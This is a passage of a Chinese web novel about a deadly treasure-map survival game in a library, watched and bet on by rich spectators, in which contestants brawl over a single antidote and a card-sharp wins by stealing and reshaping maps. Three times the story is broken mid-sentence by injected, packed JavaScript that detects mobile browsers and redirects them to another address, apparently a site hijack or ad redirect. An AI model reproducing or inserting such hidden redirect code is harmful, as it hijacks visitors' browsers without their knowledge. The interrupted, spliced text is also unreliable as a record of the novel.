天花板一角的摄像头闪烁着红点,对准剑拔弩张的彭虎和李默凛,白焰的背影消失在镜头中。 然而在镜头没有拍到的地方,他唇边勾起一抹狡黠的笑。 4. 新人秀(四) 屏幕正中央的主画面突然一闪,从原本的彭虎和李默凛,换成了另外两名选手。 主画面通常是导播选取当前最精彩的镜头,此刻对准这两名选手,说明她们有了值得关注的进展。 这两名选手都是女性,一个叫戚玲玲,胖脸塌鼻梁,体型很壮实,大约十七八岁。 另一个叫赵念,头发枯黄,眼神沧桑,因为个子矮,看不出年龄。 只见她们手中各执半张藏宝图碎片,边缘完美地拼合在一起,两双眼睛里混杂着激动、紧张和期待。 当然,还有浓浓的戒备与不信任。 作为这场游戏中仅有的两名女选手,她们在体力方面处于弱势,也正是由于这个原因,选择了同为女性、对自己威胁最小的人,率先达成合作。 而不可思议的小概率事件发生了,两人手中的藏宝图碎片恰好能拼在一起! 这样戏剧化的进展掀起了一波下注的热潮。 主画面刚一切换,两名女选手的实时投注额便有了显著上升。 坐在辛霆左边的美女盯着主画面,语气有些兴奋:“这是第一张拼好的藏宝图,不知道能开出几份宝藏?” 辛霆把玩着手中的筹码,淡淡说道:“只有一份。” “诶?也有可能是两份或者没有吧。” 为了迎合观众,侍者们对游戏的规则烂熟于心。有些观众喜欢没有思想的花瓶,有些则喜欢能接上几句话的,辛霆是后者。 而花樱是他最中意的一个,她年纪虽小,人却机灵得很,俏丽的脸蛋还带着几分稚气,身材已经发育得十分早熟。 辛霆发现她本身就对这个游戏很感兴趣,不像其他人为了讨好观众,刻意装作感兴趣的样子。 花樱没上过学,很小就被父母当成赚钱的工具,她什么都不懂,所以什么都不怕,有着一种孩童般近乎天真的残忍。 “就拿这两个人来说,她们马上就要开宝箱了,你觉得开出怎样的结果才是最有趣的?”辛霆问。 花樱想了想,眼神有些困惑:“我觉得都很有趣呀。” 辛霆微笑道:“藏宝图可能找到两份宝藏,只是一个推动游戏进程的幌子,诱导这些人在恐惧和猜忌中达成脆弱不堪的合作。当希望破灭的时候,他们的崩溃、绝望,以及爆发出来对同类的恶意,是最精彩的。” 小薛在一旁听着,有些毛骨悚然。 她了解主办方的习惯,他们确实很有可能做出这种设计,为了让游戏更具观赏性,埋下一个小小的陷阱,最大化地挑起选手之间的冲突。 尽管这是她的工作,她一直觉得这个游戏从主办方到设计者再到观众,脑子都不正常。 整天和一群不正常的人打交道,她感觉自己也快不正常了。 在这些人之中,最不正常的就数游戏的设计者。那些漠视生命、麻木不仁的观众,拿别人的生死下注狂欢,诚然是一种人性的恶。 但是更让她感到可怕的,是设计者对于人性之恶的洞彻,并且利用它玩弄人心,操纵游戏,这简直可以用变态来形容。 而上司分配给她的大客户辛霆,同样给她这样的感觉。 辛霆那些诡异的逻辑和思路,往往和设计者不谋而合。 花樱没有这样困扰,她像小孩子发现洋娃娃可以卸下手脚一样,欢欣雀跃地说道:“我明白了!找到两份宝藏,游戏就不好玩了!” 镜头里,两位女选手已经来到藏宝图指示的区域,有了完整的索书号,她们没有花费太多时间,很快便找到了那本书。 戚玲玲急切地把它从书架上抽出来,由于动作幅度太大,连带着好几本书也跟着散落在地上。 她把书打开,只见里面赫然躺着一小袋白色粉末,正是她们要寻找的解药,只有一份。 她怔了片刻,用力翻动着书页,期待书里还夹着另一份解药。 然而她的期待并没有成真,还没等她反应过来,赵念已经冲过去,一把抢过解药,像救命稻草一样牢牢攥在手里。 戚玲玲如梦初醒,把手里的书扔在一边,冲上去和她扭打在一起。 “真的只有一份宝藏!”花樱拍手笑道,“她们打起来了!” 辛霆拿起一个筹码:“你来押注,赢了算你的。” 花樱接过筹码,毫不犹豫地扔进赵念的格子。 “为什么押她?”辛霆挑眉。 赵念身材瘦小,脸上一副营养不良的菜色,看起来完全不是戚玲玲的对手。 “她的眼睛像我上一任老板养的狼狗。”花樱的语气天真烂漫,“关在笼子里饿了很多天,一放出来,就把想要逃跑的姐妹咬死了。” 戚玲玲和赵念用尽全身力气,互相抓挠着、推搡着,撕扯对方的头发。 她们瞪着血红的眼,表情狰狞无比,恨不得立刻置对方于死地,奈何造成的伤害有限,变成了一场漫长的拉锯战。 直到两人披头散发、满脸血痕,像地狱里爬上来的两只恶鬼,胜负才初见分晓。 赵念倒在地上,戚玲玲跪在赵念身上压住她,一根根扳开赵念的手指,夺过那袋决定她生死的的粉末。 一种强烈的情感涌上戚玲玲的心头——她要赢了。 她心想,等她出去之后,付清那个瘫痪女同学的医疗费,她要重新读大学,找一份体面的工作,只要她不说,没人会知道她曾经干过什么。 那天,她们像往常一样,把想要教训的对象塞进垃圾桶里,顺着校园里那条并不陡峭的斜坡推了下去。谁能想到,斜坡上莫名其妙多出了一块石头,垃圾桶磕在石头上,翻了个底朝天,那个女同学摔成了终身瘫痪。 戚玲玲一想起来,就觉得自己特别无辜,这件事根本不是她的主意,只是因为她长得最胖、力气最大,像这种把人塞进垃圾桶的脏活累活,大姐头总是交给她来干。 说到底,也怪那个倒霉蛋自己运气不好,谁让她偏偏撞上了石头呢? 但是现在这些都不重要了,她就要赢了,赢得如此轻松。 光是第一场游戏的一百万,付清医药费后还剩下一笔钱,更不要说后面三场游戏,到时候,她就能从此过上幸福的人生…… 戚玲玲手指颤抖着,打开袋子的封口,就要把粉末往嘴里倒。 倒在地上看似无力动弹的赵念,突然像一条将死的鱼一样,用尽力气猛地一挣! 戚玲玲猝不及防,袋子里的粉末撒在地上。 赵念抓住这个机会,扑向那堆粉末,张开两条细麻绳似的胳膊圈在怀里。 戚玲玲冲过去对她拳打脚踢,想把她从地上拖起来,一时间却没能拖动。 赵念弓着身体,紧紧贴着地面,像个巨大的吸盘,又或是某种诡异的爬行动物,头部轻微蠕动着。 等戚玲玲终于把她踹到一边,那堆粉末已经没了,只剩下一圈潮湿的水渍。 赵念像狗一样舔光了撒在肮脏不堪的地面上、混着尘土的粉末。 “啊啊啊啊啊!”戚玲玲爆发出一阵绝望的嚎叫。 赵念飞快地爬起来,一瘸一拐跑远了。 彭虎在二楼看见赵念的时候,险些吓了一跳,还以为自己撞上了女鬼。 等他看清赵念头发蓬乱、满脸抓痕的样子,明显经过一番激烈的打斗,不由脸色一沉,心想有人捷足先登了。 但他很快又意识到,就算有人已经找赵念拼过藏宝图,也不一定能够成功。而他要找的那半张碎片,和其他人也是拼不起来的,只要一个个找下去,是他的东西,总归跑不了。 赵念看上去毫无还手之力,彭虎也懒得废话了,直接道:“把藏宝图拿出来。” 赵念面无表情地说:“你找别人吧,我和戚玲玲是同一张藏宝图,已经拼好了。” 彭虎愣了一下,急切地问:“那你们找到解药了?” 赵念点点头,指了指自己的肚子:“已经在这里了。” 彭虎心里泛起一阵烦躁和嫉妒,心想这俩娘们运气怎么这么好,不声不响就把藏宝图拼成了,还拿到了解药! 要是让他赶上趟,哪还有这两个弱鸡的份。 可是吃下去的东西吐不出来,赵念和她已经没有利益冲突了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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彭虎捡起来一看,上面写着“G42”,是他弄丢的那张藏宝图没错。 他这才松了一口气,悬着的心终于放了下来。 看来的确是他自己不小心,把藏宝图弄丢了。 彭虎找回了藏宝图,一边继续寻找其他选手,一边四下留意着,想找点趁手的东西当作武器,以免再遇到李默凛那样的刺头。 只可惜他逛了一圈图书馆,全是连成一排的笨重桌椅,除此之外连根拖把都没有,更别说有杀伤力的尖锐物品了。 就在这时,他看到了一个骨瘦如柴的人影蜷缩在角落里。 那人眼神空洞,手指瘦得像枯枝,不停地抓挠着手臂,明显精神状态出了问题。 彭虎走近一看,是那个试图袭击主持人的瘾君子,名叫杜平。 杜平见到彭虎,吓了一跳,龇着一口烂掉的黑牙,尖叫道:“别过来!别过来!” 彭虎冲过去,一脚将他踹翻在地。杜平倒在地上抽搐着,惊恐地往后缩,恨不得钻进墙里。 彭虎也不动手打他,一脚接一脚地往他身上踹:“恶心的毒虫,打你都嫌脏了老子的手。” 杜平早就吸得没了个人样,哪里是彭虎的对手,很快就像一个破麻袋一样,瘫软在角落,失去了反抗的力气。 彭虎粗暴地在他身上搜了一圈,从他怀里扯出那半张藏宝图碎片,和自己的拼在一起,忽然眼睛一亮。 两张藏宝图碎片的边缘严丝合缝地对上了! 彭虎心下大喜,连忙去看图上的数字。 杜平的藏宝图上印着0.179,和彭虎的G42拼起来就是G420.179。 彭虎赶忙奔向G区,在书架间寻找起来,很快找到了对应的书籍。 他得意洋洋地吹了声口哨,伸手一把将那本书抽出来,迫不及待地翻开书页。 然而,翻着翻着,他的笑容逐渐僵在了地上。直到把整本书从头到尾翻了个遍,他的表情彻底凝固了。 书里竟然什么都没有! 他不可置信地又翻了一遍,拎起书脊粗暴地大力甩动,还是什么都没有。 这张藏宝图竟然没有宝藏! 5. 新人秀(五) 杜平不知什么时候也来到了G区,像鬼魂一样游荡在书架附近。 他明显已经精神错乱了,胳膊上全是自己抓出来的血痕,瞪着一双浑浊无光的眼睛,透过书架的空隙朝彭虎看去。 看到彭虎没有找到宝藏,他咧开嘴角,发出断断续续的诡异笑声:“呵呵……这就是命吧……” “闭嘴!”彭虎顿时暴怒,狠狠把手里的书砸到地上,“老子从来不信命!” 他大步走到杜平面前,一脚踹在他胸口。 这一脚力道极大,杜平本就瘦得脱了形,被踹得直接飞了出去,重重砸在几米外的地上,没了动静。 彭虎走过去,只见杜平睁着眼睛,脑袋无力地歪向一边,已经没了气息。 只是他的嘴角依旧挂着那抹诡异的笑容,仿佛到死都没能清醒过来。 彭虎不再理会杜平的尸体,像是做出了什么决定一般,神色歹毒地向外走去。 彭虎没有找到宝藏,关于他的镜头也从主画面撤去,换上了另外两名选手。花樱托腮看着屏幕,露出迷惑不解的神情。 游戏已经过去一小时,目前拼好的藏宝图有三张,都如同辛霆猜测的那样,只找到了一份宝藏。 按照这样的逻辑,如果不存在有两份宝藏的藏宝图,那必然也不存在没有宝藏的藏宝图。 可是彭虎的藏宝图为什么找不到宝藏? 花樱偷偷瞄了一眼辛霆,只见辛霆的脸上也浮现出短暂的讶异。 她觉得辛霆多半是猜错了,游戏设计者或许没想那么多,两份宝藏的藏宝图也是存在的,只是不知道谁会成为这样的幸运儿。 彭虎怒气冲冲地离开后,一个人影出现在两人刚刚停留的书架前,他捡起彭虎扔在地上的书,看了一眼书脊,又将它放回原处。 像这样无关紧要的镜头,通常被导播放在屏幕不起眼的角落。主画面是两个刚刚拼好藏宝图的选手,正为那一份仅有的解药撕打在一起。 画面右上角,两人的下注额飞快跳动着,这种原始而惨烈的肉搏,往往最能激发观众的下注热情。 辛霆却盯着屏幕角落里的人影,露出饶有兴致的表情,问小薛:“白焰现在赔率多少?” 小薛报出一个数字,白焰的下注额相比之前下降了许多。 作为赛前收到最多下注的选手,在已经有几名选手拿到解药的情况下,他却至今毫无进展,甚至没有做出任何积极拼凑藏宝图的举动。 这也就导致他的下注额几乎没有任何增长。 辛霆似乎对赔率还算满意,拿起厚厚一叠筹码,在手里随意掂了掂,一把丢进白焰的格子里。 小薛瞪大了眼睛,辛霆已经连续几场没有押过这么高的注额,可是按照目前的情况,她完全看不出白焰有丝毫赢面。 她压下心中的疑问,尽管他们名义上是顾问,实际上只是级别高那么一点的服务生,给观众安排漂亮的侍者,准备上好的雪茄和美酒,只要能把这些金主哄开心就行。 至于观众的决定是对是错,他们没有资格去质疑,更没有理由去质疑。 越是冲动、不理智的下注行为,越能为游戏带来更高的流水,顾问的提成也就越丰厚。 但是辛霆的下注跟冲动、不理智毫不沾边,几乎每一个不合常理的大胆决定,都能为他赚取相应的超额收益。 自从小薛接手成为辛霆的私人顾问,他总是赢多输少,胜率高得令人咋舌。 而达到这种级别的大额下注,更是一次也从未出错。 为了给观众提供全方位的观赏体验,图书馆墙壁上安装着大量摄像头,基本覆盖了整个游戏场地,全程追踪选手的行动。画面中,白焰的身影消失在G区的镜头里,很快又出现在三楼的L区。 他显得十分小心,反复确认是否有人跟踪自己。 实际上从游戏一开始,他便频繁出现这种下意识的举动,在外人看来,还真有点像特工,其实这只是他到处躲债养成的习惯。 L区空无一人,白焰看似漫无目的地走着,最终停在一排书架前,低头寻找了片刻,从最下层抽出一本书。 他随手打开书,只见书页里赫然躺着一小袋白色粉末! 这一切发生的太突然,就连导播都没有反应过来,过了好几秒,才将L区的镜头切到主画面。 观赏大厅里,观众们炸开了锅。从游戏开始到现在,白焰一次也没有和别人拼过藏宝图,几乎所有人都遗忘了这个毫无进展的选手。 此时此刻,宝藏却不可思议地凭空出现了在他的手中! 然而谁也没空去深究这到底是怎么回事,观赏大厅里的每个人都在疯狂地下注。 根据这场游戏的规则,在选手服用解药后,意味着该名选手获得胜利,个人投注随即停止,进入待结算状态。 通常,当选手已经拿到解药,或者即将拿到解药,观众下注的热情最为高涨。 这时候选手之间往往陷入激烈的争夺,是游戏最精彩的关头,也是选手最接近胜利的时刻。 但这同时也是变数最大的时刻,之前戚玲玲按住赵念的时候,就有不少人在最后关头追了进去,在局面发生反转后捶胸顿足,懊恼不已。 但是白焰并不存在这样变数,解药已经稳稳拿在他手中,没有人跳出来和他争抢,游戏获胜是板上钉钉的事。 这时候对他下注,可不就是白捡钱么? 观众那边正着急下注,白焰这边倒是一点也不着急。 他抬头环顾了一圈,准确地找到了摄像头的位置,然后对着摄像头慢悠悠地举起包装袋,不急不缓地拆开封口,又送到鼻子下面嗅了嗅,这一系列动作整整持续了一分多钟。 在这一分多钟里,观赏大厅沸腾了。 所有人都能看出来,白焰在拖延时间,只要他还没把解药吃下去,投注就是有效的。 这个第一次参加游戏的新人,手里握着游戏胜利的钥匙,正以一种自信的、笃定的姿态示意他们下注! 这是新人秀从未有过的神奇景象! 被点燃情绪的观众们几乎进行了踩踏式的下注,生怕比别人慢一步,随着下注总金额的上升,赔率就会进一步下降。 下注停止的时候,白焰的赔率在扣除选手的分红和下注的手续费后,已经无限接近于1。 这意味着赔率所反映出的胜率已经约等于百分之百。 “新人介绍环节我就押了他,当时三倍多的赔率,赚大发了!”一个肥胖的中年女人语气激动地说道,“我的眼光没错,他就是下一个庄蝶之!不,他已经超越了庄蝶之!” 她身旁环绕着几位年轻英俊的男侍者,争先恐后地奉承道:“田村姐真是慧眼如炬!” “是啊,您这一手的魄力和判断力,简直是无人能及。” 胖女人听得喜笑颜开,伸出带满金镯子和钻戒的手,翘起兰花指,抓了一把筹码,颇为大方地给那些男侍者一人打赏了一枚。 白焰的个人下注总额最终停留在两千万出头,打破了庄蝶之一千八百万的记录,成为历届新人秀获得最多下注的选手。 由于新人秀的选手良莠不齐,很多观众更倾向于观看正式游戏,因此新人秀的观众数量远不及正式游戏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124019|164300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能够在新人秀获得如此高的下注金额,已经是当之无愧的新星了。 顾问们也忙得焦头烂额,电话响个不停,一些没有观看新人秀的观众得知了这个消息,让他们提供这次新人秀的录像资料,指名要白焰的个人剪辑版本。 贵宾厅隔绝了观赏大厅的喧闹,小薛瞪大眼睛,看着屏幕上白焰服下解药,大摇大摆地走出L区,惊讶地说不出话来。 白焰的个人投注已经进入待结算状态,辛霆这一笔赚得盆满钵满。 花樱倒了一杯酒,她知道辛霆滴酒不沾,于是举起酒杯自斟自饮,笑意盈盈道:“恭喜辛总。” 辛霆姿态放松地倚在沙发上,问花樱和另一位侍者:“你们觉得他是怎么做到的?” 另一位侍者是个混血儿,长得很有异域风情,名叫美亚。 美亚拨了拨棕色的长卷发,试探着说道:“他用某种方法,转移了彭虎的宝藏,所以彭虎才会找不到宝藏,是这样吗?” 辛霆大笑起来,看上去心情很不错:“我也不知道,所以才让你猜。具体说说看。” 美亚继续说下去:“彭虎的藏宝图丢过一次,我觉得是被白焰偷了。您说他曾经在赌场出千,那他应该也擅长偷东西,最有可能的时间点,就是彭虎和李远飞发生争执的时候,当时他主动提出和彭虎合作,就是为了在彭虎放松警惕的情况下接近他。之后他又偷走了杜平的藏宝图,抢在彭虎前面找到了宝藏。” 辛霆抚掌笑道:“有趣的故事。” 花樱提出疑问:“但是白焰没有和杜平接触过啊。” 美亚说:“很多老选手都会卡监控死角,白焰虽然是个新人,但从他刚才主动找摄像头的行为,看得出对这方面很了解。” 花樱点点头:“还有一个问题,白焰如何得知另一半藏宝图在杜平手中?” 美亚被问住了,语气变得有些迟疑:“或许是运气好,就像戚玲玲和赵念那样,第一次尝试就成功了。” “也不排除这种可能,但是概率太小了。”花樱说道,“这个游戏最困难的地方,不在于抢夺宝藏,而在于拼图。从除了自己以外的十九名选手中,找到能和自己拼起来的另一半碎片,是相当耗费时间和精力的。” 说到这里,花樱顿了顿,语出惊人:“我认为白焰用了一种更高明的方法,让彭虎帮他完成这件最耗时耗力的事。” 美亚很快反应过来:“你是说……彭虎费那么大力气,一个个找人拼图,其实拼的是白焰的藏宝图,而他自己却不知情?” 她顺着这条思路分析道:“白焰偷走藏宝图又还给彭虎,其实是把自己那张换了出去,并且改动了上面的文字,这样一切都能解释通了!” 彭虎拿着被改过的藏宝图,自然找不到宝藏。而原本的信息只有白焰自己知道,他捡起彭虎扔掉的那本书,就是为了得知杜平藏宝图的后四位数字,加上他自己手里真正的前三位,才是宝藏正确的位置。 刚才有一名选手就是用这种方式,差点骗过和他拼图的人。藏宝图上的文字是暗红色的,他那张图上恰好有个数字1,于是他咬破手指,小心翼翼地用血液在上面添了一横,变成了数字7。 可惜他的演技不太高明,另一名选手心中起疑,偷偷跟踪了他,之后便又是一番血腥惨烈的争夺。 可是美亚转念一想,这个方法并不适用于彭虎:“游戏开始之后,彭虎肯定会看一眼自己的藏宝图,记得上面的数字,如果真的被调换了,他怎么可能毫无察觉呢?” 花樱眨了眨眼,嗓音慵懒:“彭虎记得藏宝图上的数字,不一定记得藏宝图边缘的形状。” 6. 新人秀(六) 美亚怔住了,她脑子也转得很快,瞬间明白了花樱的意思。 花樱缓缓说出结论:“所以白焰用了另一种方法——把彭虎的藏宝图剪裁一下,改成他自己那张的形状。” 小薛在一旁听着,心里震撼不已,手上整理资料的动作都停了半拍。 花樱这番话乍一听很离奇,却又完美地解释了所有不合理之处,无论是彭虎失而复得的藏宝图,还是凭空出现在白焰手中的宝藏。 惊异之余,小薛又有些心情复杂。虽然顶着顾问的头衔,可她对游戏的思路和见解,还不如两个靠容貌取悦观众的侍者。 辛霆倒是没什么惊讶的样子,赞许地看了花樱一眼:“不错,你这个故事更有趣了。” 美亚面上带笑,掩饰住心中微妙的挫败感。 她不得不承认花樱的观察力和推断力都十分敏锐,即便是她这样自傲的人也感到自愧不如。 难怪花樱虽然容貌不如自己,观众却对她偏爱有加。 她压下心中不甘,指出一个关键的问题:“你说他改变了藏宝图的形状,至少需要一把剪子或者小刀吧?新人秀的游戏场地是没有这些东西的。” 按照新人秀的一贯传统,游戏场地不会放置任何可能构成杀伤力的物品,美其名曰给新人们一个温和的适应期,实际上是将这种古罗马角斗场一般的原始搏杀作为卖点。 这些新人在入场前经过严格的搜身,连一根针都带不进来。画面中显示,彭虎也曾试图在图书馆内寻找武器,但是游戏场地被清理得很干净。 藏宝图是坚韧的羊皮材质,既然选手在图书馆里找不到尖锐物品,就不存在对藏宝图动手脚的可能。 花樱没有反驳,她支着下巴,露出略微苦恼的表情:“这也是我唯一想不通的地方。” 辛霆任由她们二人讨论,沉默不语,将手中筹码叠起又分开,他隐约觉得有什么细节被遗漏了。 狭小的房间内,墙壁和天花板完全被隔音材料覆盖,一个粉色头发的娃娃脸男子盘腿坐在地板上,身边糖纸和饮料瓶散落了一地。 在他四周是弯曲成弧形的光幕,一块块组合在一起,形成一个密闭的圆环,将他环绕其中。 娃娃脸男子叫齐乐勋,是豪赌游戏的总策划,也是每一场游戏的设计者,小薛眼里脑子最不正常的人。 工作人员在导播室里忙得不可开交,齐乐勋从不到场,这是他一直以来的习惯。 他总是在每一场游戏开始前,提前安排好所有的流程,然后一个人关在小房间里,独自欣赏他精心设计的节目。 光幕上闪烁着不同角度的游戏画面,齐乐勋手指飞快滑动着,从中拖拽出一个画面,在眼前放大。 画面中,白焰吃下解药,转身离开L区,身影消失在走廊尽头。 他的步伐不急不缓,燕尾服衣摆微微扬起,那副优雅从容的姿态,就像是走在时装秀的舞台上。 齐乐勋盯着那块屏幕,娃娃脸上浮现出苦恼的神色,一头粉毛已经抓得像鸡窝一样凌乱。 “不对……不对啊……”他自言自语道,“这家伙到底是怎么做到的?” 对讲机滴滴响了起来,齐乐勋被打断了思路,抓起对接机,气鼓鼓地按下按钮。 对讲机那头传来下属的声音:“齐导,曼妮小姐找您。” 齐乐勋没好气地说道:“都说了,游戏开始后不要打扰我。她的工作已经结束了,该回哪回哪去。” 下属为难地说道:“可是曼妮小姐说她有急事……” “什么急事?” “曼妮小姐的胸针丢了,非要让助理进会场找。她说那枚胸针很昂贵,咱们策划组一个月的工资都赔不起。” “放屁,我的工资哪有那么少,我看她是狗眼看人低……”齐乐勋不满地嘟囔起来。 他话说到一半,忽然皱起眉头,声音戛然而止。 下一秒,他像是被闪电击中一般,激动地瞪大了眼睛,脱口而出:“胸针!我知道了,是那枚胸针!” 下属不明所以:“齐导,你在说什么呢?到底要不要放曼妮小姐的助理进去?” 齐乐勋不耐烦地按掉对讲机,调出自我介绍环节的录像回放,拖动到到白焰出场的那一幕。 鲜花盛放的舞台上,白焰变出一支红玫瑰,微笑着递给曼妮。 聚光灯下,他的容貌和气质都太过耀眼,仿佛天生就是所有目光的焦点,以至于让人不由自主地忽略其他细节。 齐乐勋反复播放这一段录像,将速度调慢,一帧一帧地仔细观看。 他的眼神越来越亮,目光里闪烁着欣喜和狂热。 “真是令人惊喜。”他勾起嘴角,低声自语道,“我已经很久没见过这么有趣的选手了。” 他眼神热切地盯着屏幕看了许久,重新打开对讲机,语气里带上了几分愉悦。 “告诉曼妮,胸针我找到了。游戏结束给她送过去。” 图书馆四楼,白焰站在窗边,微微偏头,看向窗外。 事实上窗外什么也看不到,为了避免四周的景观透露具体位置,窗户被贴上黑纸,用钢条封死,将整栋建筑变成了密不透风的牢笼。 这里是一个监控死角,白焰对摄像头很敏感,这是他长期以来养成的习惯。 起初是走进赌场找一个背对着监控的位置,遮住手里的小动作,到后来经过每一个出入口压低帽檐,避免被追债的人发现踪迹。 不知从何时开始,他甚至不用回头,也能察觉到这些圆形机械生物的视线,然后熟练地躲避它们,仿佛这已经成为了一种刻进骨子里的基因,一种趋利避害的本能。 谎言和欺骗就像他的鳞片,暴露在阳光下就会腐蚀溃烂。 他解开燕尾服的纽扣,从衬衣口袋里拿出一枚金灿灿的胸针,雕工极其精美,拿在手里沉甸甸的,看得出用料很足。 胸针的尖角锋利而坚硬,可以瞬间戳瞎人的眼睛,在必要的时候,他会毫不犹豫地这样做。 但他偷走这枚胸针,起初并非出于这个目的,仅仅是单纯的喜欢而已。 那个叫曼妮的女明星走上台的时候,他第一眼就相中了它,散发着金子特有的耀眼、昂贵的光泽,即使远远地看着,也令人着迷地移不开眼。 他曾经花了很大心思钻研千术,向不少有名的千王拜师学艺。千术虽为一般人所不齿,实际上却是一门博大精深的学问,可以衍生出无数创造性的手法,但每一条手法都万变不离其宗,那就是手快过眼。 只要手上的动作快过视神经的反应速度,在视觉暂留的效应下,人眼是无法察觉物体移动的。 一个把千术练得炉火纯青的赌徒,必然也是一个无师自通的神偷。 而实施这一切的辅助手段,则是通过有意引导,分散所有人的注意力,从而忽略可能存在的破绽。 变出玫瑰花的小魔术,就是起到这样的作用。 无论是曼妮还是观众,都把目光放在那朵玫瑰花上,从而忽略了胸针的消失。 白焰端详着胸针艳丽的色泽,爱不释手地抚摸那纯金的材质。 他喜欢金钱,喜欢金银珠宝,它们永不背叛,永不变质,不会因为占有方式的光鲜或肮脏而改变固有的价值。 在他的人生中,从没有什么真正值得他在意的东西,他就像一只和自己尾巴玩耍的猫一样,贪婪地追逐财富,又尽情地挥霍。 就像在享受一场永不落幕的幻梦。 远处传来一阵脚步声,他迅速把胸针收进怀里。 转身之前,一个温和友善的笑容像面具一样覆上他的脸庞。 来人是李默凛,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124020|164300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直奔主题地问道:“你的藏宝图拼成了吗?” 白焰没有正面回答,而是反问:“你呢?” “没有。”李默凛的态度倒也直率,“不过在找到你之前,我已经排除了大部分选手,你手上的藏宝图有很大概率和我是同一张。” “行,我和你拼图。”白焰说话时语速不紧不慢,语气中却恰到好处地透露出一丝焦躁的意味。 李默凛心里有了底,看来白焰只是表面淡定,其实心里也急于寻找另一半藏宝图,自己不需要多费口舌劝他合作了。 白焰正要拿出自己的藏宝图,却又像突然想起什么似的,一脸诚恳地看着李默凛:“先前看到你为刘丙焕打抱不平,我觉得你人不坏,不如我们提前把话说开。找到两份解药当然最好,但如果只有一份,你打算怎么办?” 李默凛说:“我们可以用公平的方式来决定。” 这话说得十分模棱两可,但是从李默凛嘴里说出来,却多了几分靠谱的意味。 李默凛长着一张严肃正派的脸,很容易给人留下值得信任的印象,再加上他之前替刘丙焕出头的那一幕,被不少选手看在眼里,白焰猜想这就是为什么他能能够说服其他选手和他合作。 只是这其中有多少表演的成分,就不得而知了。 对于看不清的牌面,出手试一试便知。白焰勾起嘴角笑道:“这样吧,我讨厌暴力,用猜拳决定怎么样?你觉得这样公平吗?” 李默凛犹豫了一下,过了半晌说道:“行。” “那就这么说定了,三局两胜。” 白焰也不拖泥带水,当即拿出自己那半张藏宝图,两人手中的碎片拼在一起,恰好是同一张。 李默凛脸上没有太多惊讶,看来果真如他所说,他已经和大部分选手拼过藏宝图。 甚至很有可能,他和其他拿到前半张藏宝图的选手都拼过一遍,所以笃定白焰这一张正是他想找的。 白焰在心里微微松了口气,幸好他足够谨慎,不仅对彭虎的藏宝图做了手脚,也同样把自己的那一张剪裁成了彭虎藏宝图的形状。 否则在李默凛排除了其他人的情况下,发现白焰的藏宝图和他拼不上,必定会有所怀疑。 贵宾厅里,花樱看着这一幕若有所思:“也就是说,真正和李默凛拿到同一张藏宝图的人,其实是彭虎。我感觉藏宝图的匹配并不是随机的。” 不论是戚玲玲和赵念,还是目前已经拼好藏宝图的几组选手,都是将实力相近的两个人凑在一起,很像是人为安排的结果。 虽然选手的资料对外是保密的,但是游戏设计者经常以此为参考,人为制造各种无巧不成书的桥段,吊足观众的胃口。 “还真是这样。”美亚回想了一下,对花樱的说法表示赞同,却又说道,“唯独白焰是例外。” 白焰和杜平拿到了同一张藏宝图,说明游戏设计者根据选手资料判断,白焰的实力和杜平处于同一水准。 “一个疯疯癫癫的瘾君子,一个负债累累的赌徒,光看资料,确实没什么区别。”辛霆眯眼看向屏幕,“这就是新人秀的魅力所在,未知和意外总是令人着迷。” 白焰的藏宝图写着L35,李默凛的藏宝图写着1.408,拼在一起是L351.408。 两人来到L区,很快找到了那本书。 白焰和李默凛的手指几乎同时按在书脊上,气氛有些剑拔弩张,谁都没有先让步的意思。 “别这么紧张,说不定有两份解药。”白焰率先打破僵局,“以防万一,我们先确定胜负,赢的人去拿。” 说完他松开手,主动往后退了一步。 李默凛见状,明显纠结了一下,最终还是松开手,也往后退一步。 两人正准备猜拳,白焰突然说道:“第一局我会先出石头。” 7. 新人秀(七) 李默凛没料到他会这样说,先是愣了一下,紧接着眉头轻微皱起,这是他思考问题时下意识的微表情。 第一局李默凛出了石头,白焰也出了石头,两人平局。 “你看,我是个很诚实的人,可惜你不相信我。”白焰一脸无辜地摊了摊手,“下一局我出剪刀。” 这下李默凛的眉头锁得更紧了。 他脑中闪过很多种设想,白焰之所以这样说,是想引诱他出石头,那么其实白焰真正要出的是布,也就是说自己应该出剪刀。 但如果白焰也想到了这一层,那么他这一局反而会出石头,自己应该出布才对。 他转念又想,上一局白焰说了真话,按照一般人的想法,会觉得那是为了迷惑对手,这一局他不可能再说真话,但如果他就是想打一个反逻辑呢? 那么白焰就会如他所说,真的出剪刀,自己这局应该出石头。 越往深处想,就越是无底洞。第二局很快开始了,他没有时间再继续想下去。 第二局李默凛出了石头,白焰出了布,李默凛输了。 第三局开始前,白焰还想继续说什么,李默凛打断他,沉下脸道:“不要告诉我下一局出什么,我不想被你干扰。” “行,我不干扰你,但是你不觉得这样玩更有意思吗?通过推测对方心理,在思维层面上博弈,比单纯的运气游戏有趣多了。”白焰语气愉悦,看起来乐在其中,“要不换你来干扰我,你下一局打算出什么?” 李默凛一想,不如自己也这种方式反过来治治他,于是随口说道:“我下一局出布。” 